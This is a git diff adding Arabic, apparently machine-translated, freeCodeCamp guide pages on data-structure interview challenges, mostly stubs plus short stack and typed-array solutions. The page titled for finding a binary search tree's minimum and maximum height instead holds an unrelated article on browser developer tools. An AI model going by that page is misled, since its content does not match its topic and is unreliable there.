diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md
new file mode 100644
index 0000000000..6b69ad1c71
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md
@@ -0,0 +1,9 @@
+---
+title: Create an ES6 JavaScript Map
+localeTitle: إنشاء خريطة جافا سكريبت ES6
+---
+## إنشاء خريطة جافا سكريبت ES6
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-an-es6-javascript-map/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md
new file mode 100644
index 0000000000..2568a8bf45
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md
@@ -0,0 +1,9 @@
+---
+title: Create and Add to Sets in ES6
+localeTitle: إنشاء وإضافة إلى مجموعات في ES6
+---
+## إنشاء وإضافة إلى مجموعات في ES6
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/create-and-add-to-sets-in-es6/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..0f972039a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Leaf Node in a Binary Search Tree
+localeTitle: حذف عقدة أوراق في شجرة بحث ثنائية
+---
+## حذف عقدة أوراق في شجرة بحث ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-leaf-node-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..f7dd9890bf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Node with One Child in a Binary Search Tree
+localeTitle: حذف عقدة مع طفل واحد في شجرة بحث ثنائية
+---
+## حذف عقدة مع طفل واحد في شجرة بحث ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-node-with-one-child-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..d584b5a6a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete a Node with Two Children in a Binary Search Tree
+localeTitle: حذف عقدة مع طفلين في شجرة بحث ثنائية
+---
+## حذف عقدة مع طفلين في شجرة بحث ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/delete-a-node-with-two-children-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/depth-first-search/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/depth-first-search/index.md
new file mode 100644
index 0000000000..9e5ca94a18
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/depth-first-search/index.md
@@ -0,0 +1,9 @@
+---
+title: Depth-First Search
+localeTitle: عمق البحث الأول
+---
+## عمق البحث الأول
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/depth-first-search/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..8fa54276c5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-height-of-a-binary-search-tree/index.md
@@ -0,0 +1,61 @@
+---
+title: Find the Minimum and Maximum Height of a Binary Search Tree
+localeTitle: ابحث عن الحد الأدنى والحد الأقصى لارتفاع شجرة البحث الثنائية
+---
+## ابحث عن الحد الأدنى والحد الأقصى لارتفاع شجرة البحث الثنائية
+
+يتضمن كل متصفح ويب حديث مجموعة قوية من أدوات المطورين. تقوم هذه الأدوات بمجموعة من الأشياء ، بدءًا من فحص HTML و CSS وجافا سكريبت المحملة حاليًا لعرض الأصول التي طلبتها الصفحة والمدة التي استغرقتها في التحميل. بعض الميزات الرئيسية مذكورة أدناه:
+
+*   الوصول إلى وحدة تحكم المستعرض
+*   اختبار Viewports المستجيبة والجهاز المحدد
+*   تحرير DOM
+*   التصحيح
+*   تحليل نشاط الشبكة
+*   فهم مشكلات الأمان
+
+وأكثر بكثير…
+
+## كيفية فتح أدوات التطوير
+
+### لوحة المفاتيح
+
+ `Ctrl + Shift + I 
+` 
+
+### شريط القوائم
+
+#### ثعلب النار
+
+ `Tools ➤ Web Developer ➤ Toggle Tools 
+` 
+
+#### كروم / الكروم
+
+ `Tools ➤ Developer Tools 
+` 
+
+#### رحلات السفاري
+
+ `Develop ➤ Show Web Inspector. 
+` 
+
+إذا لم تتمكن من رؤية قائمة التطوير ، فانتقل إلى `Safari ➤ Preferences ➤ Advanced` وتحقق من مربع الاختيار `Show Develop menu` في شريط القائمة.
+
+#### دار الأوبرا
+
+ `Developer ➤ Web Inspector 
+` 
+
+### قائمة السياق
+
+`Right-click` عنصر في صفحة ويب (انقر مع الضغط على Ctrl في نظام التشغيل Mac) ، واختر `Inspect Element` من قائمة السياق التي تظهر.
+
+تبرز هذه الطريقة مباشرةً رمز العنصر الذي نقرت عليه بزر الماوس الأيمن.
+
+## معلومات اكثر:
+
+Mozilla Developer Network Web Docs: [ما هي أدوات تطوير المتصفح؟](https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools)
+
+Google Developers: [أدوات](https://developers.google.com/web/tools/chrome-devtools/
+) تطوير [Chrome](https://developers.google.com/web/tools/chrome-devtools/
+)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..764e8a7f39
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the Minimum and Maximum Value in a Binary Search Tree
+localeTitle: ابحث عن الحد الأدنى والحد الأقصى للقيمة في شجرة البحث الثنائية
+---
+## ابحث عن الحد الأدنى والحد الأقصى للقيمة في شجرة البحث الثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/find-the-minimum-and-maximum-value-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md
new file mode 100644
index 0000000000..278a983f9a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Implement Heap Sort with a Min Heap
+localeTitle: تطبيق فرز كومة مع كومة Min
+---
+## تطبيق فرز كومة مع كومة Min
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/implement-heap-sort-with-a-min-heap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md
new file mode 100644
index 0000000000..870714d741
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md
@@ -0,0 +1,9 @@
+---
+title: Incidence Matrix
+localeTitle: مصفوفة الوقوع
+---
+## مصفوفة الوقوع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/incidence-matrix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/index.md
new file mode 100644
index 0000000000..75d5694c7a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Structures
+localeTitle: هياكل البيانات
+---
+## هياكل البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md
new file mode 100644
index 0000000000..69df5d912d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Insert an Element into a Max Heap
+localeTitle: إدراج عنصر في كومة كحد أقصى
+---
+## إدراج عنصر في كومة كحد أقصى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/insert-an-element-into-a-max-heap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md
new file mode 100644
index 0000000000..1cf50fcf3a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Invert a Binary Tree
+localeTitle: قلب شجرة ثنائية
+---
+## قلب شجرة ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/invert-a-binary-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md
new file mode 100644
index 0000000000..548e981e4f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/learn-how-a-stack-works/index.md
@@ -0,0 +1,26 @@
+---
+title: Learn how a Stack Works
+localeTitle: تعرف على كيفية عمل Stack
+---
+## تعرف على كيفية عمل Stack
+
+### طريقة:
+
+*   المداخن هي هياكل بيانات مجردة.
+*   يتبعون مبدأ LIFO (Last In First Out) أو FILO (First In Last Out).
+*   عمليات إدراج وحذف Stack هي من تعقيد وقت **O (1)** .
+*   في Javascript ، يمكن التعامل مع المصفوفات كـ Stack حيث أن `.push()` و `.pop()` لها تعقيد زمني لـ **O (1)** .
+*   في هذا التحدي نحتاج إلى `.pop()` ثم `.push()` في بنية تخزين العناصر.
+
+### حل:
+
+ `var homeworkStack = ["BIO12","HIS80","MAT122","PSY44"]; 
+ 
+ homeworkStack.pop(); 
+ homeworkStack.push("CS50"); 
+` 
+
+### مرجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
+*   فيديو من قبل [Hackerrank](https://www.youtube.com/watch?v=wjI1WNcIntg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..2602e1a521
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Difference on Two Sets of Data
+localeTitle: تنفيذ فرق على مجموعتين من البيانات
+---
+## تنفيذ فرق على مجموعتين من البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-difference-on-two-sets-of-data/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..351cf7a8e5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Subset Check on Two Sets of Data
+localeTitle: إجراء فحص مجموعة فرعية على مجموعتين من البيانات
+---
+## إجراء فحص مجموعة فرعية على مجموعتين من البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-subset-check-on-two-sets-of-data/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md
new file mode 100644
index 0000000000..ad65b1194f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform a Union on Two Sets
+localeTitle: أداء الاتحاد على مجموعتين
+---
+## أداء الاتحاد على مجموعتين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-a-union-on-two-sets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md
new file mode 100644
index 0000000000..950907e7de
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform an Intersection on Two Sets of Data
+localeTitle: تنفيذ تقاطع على مجموعتين من البيانات
+---
+## تنفيذ تقاطع على مجموعتين من البيانات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/perform-an-intersection-on-two-sets-of-data/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md
new file mode 100644
index 0000000000..a6e3014dfa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Element from a Max Heap
+localeTitle: إزالة عنصر من كومة كحد أقصى
+---
+## إزالة عنصر من كومة كحد أقصى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-an-element-from-a-max-heap/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md
new file mode 100644
index 0000000000..7761a5e4f6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Elements from a Linked List by Index
+localeTitle: إزالة العناصر من قائمة مرتبطة بالفهرس
+---
+## إزالة العناصر من قائمة مرتبطة بالفهرس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list-by-index/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md
new file mode 100644
index 0000000000..5ce19cce1d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Elements from a Linked List
+localeTitle: إزالة العناصر من قائمة مرتبطة
+---
+## إزالة العناصر من قائمة مرتبطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-elements-from-a-linked-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md
new file mode 100644
index 0000000000..93b923f4f5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove from a Set
+localeTitle: إزالة من مجموعة
+---
+## إزالة من مجموعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-from-a-set/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md
new file mode 100644
index 0000000000..affe6531f6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove items from a set in ES6
+localeTitle: قم بإزالة العناصر من مجموعة في ES6
+---
+## قم بإزالة العناصر من مجموعة في ES6
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/remove-items-from-a-set-in-es6/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md
new file mode 100644
index 0000000000..7fa65fe5c5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Reverse a Doubly Linked List
+localeTitle: عكس قائمة ترتبط Doubly
+---
+## عكس قائمة ترتبط Doubly
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/reverse-a-doubly-linked-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md
new file mode 100644
index 0000000000..e4fd926a2b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md
@@ -0,0 +1,9 @@
+---
+title: Search within a Linked List
+localeTitle: البحث داخل قائمة مرتبطة
+---
+## البحث داخل قائمة مرتبطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/search-within-a-linked-list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md
new file mode 100644
index 0000000000..0271d8bcbe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Size of the Set
+localeTitle: حجم مجموعة
+---
+## حجم مجموعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/size-of-the-set/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/typed-arrays/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/typed-arrays/index.md
new file mode 100644
index 0000000000..73b3af8e0b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/typed-arrays/index.md
@@ -0,0 +1,24 @@
+---
+title: Typed Arrays
+localeTitle: مصفوفات مكتوبة
+---
+## مصفوفات مكتوبة
+
+### طريقة:
+
+*   في هذا التحدي ، نحتاج أولاً إلى إنشاء مخزن مؤقت من 64 بايت. يمكننا استخدام `ArrayBuffer()` منشئ.
+*   بعد إنشاء مخزن مؤقت نحتاج إلى إنشاء Int32Array ، لذلك يمكننا استخدام `Int32Array()` .
+
+### حل:
+
+ `//Create a buffer of 64 bytes 
+ var buffer = new ArrayBuffer(64); 
+ 
+ //Make 32-bit int typed array with the above buffer 
+ var i32View = new Int32Array(buffer); 
+` 
+
+### المراجع:
+
+*   [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)
+*   [TypedArray](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md
new file mode 100644
index 0000000000..d4fbebb52d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md
@@ -0,0 +1,9 @@
+---
+title: Use .has and .size on an ES6 Set
+localeTitle: استخدم .has و. الحجم على مجموعة ES6
+---
+## استخدم .has و. الحجم على مجموعة ES6
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-.has-and-.size-on-an-es6-set/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..b73a7d6e51
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Breadth First Search in a Binary Search Tree
+localeTitle: استخدم بحث نطاق البحث الأول في شجرة بحث ثنائية
+---
+## استخدم بحث نطاق البحث الأول في شجرة بحث ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-breadth-first-search-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md
new file mode 100644
index 0000000000..6edc57a9f0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Depth First Search in a Binary Search Tree
+localeTitle: استخدم Depth First Search في شجرة بحث ثنائية
+---
+## استخدم Depth First Search في شجرة بحث ثنائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/data-structures/use-depth-first-search-in-a-binary-search-tree/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/data-structures/use-spread-and-notes-for-es5-set-integration/index.md
new file mode 100644
index 0000000000..44964ef0b0
--- /dev/null
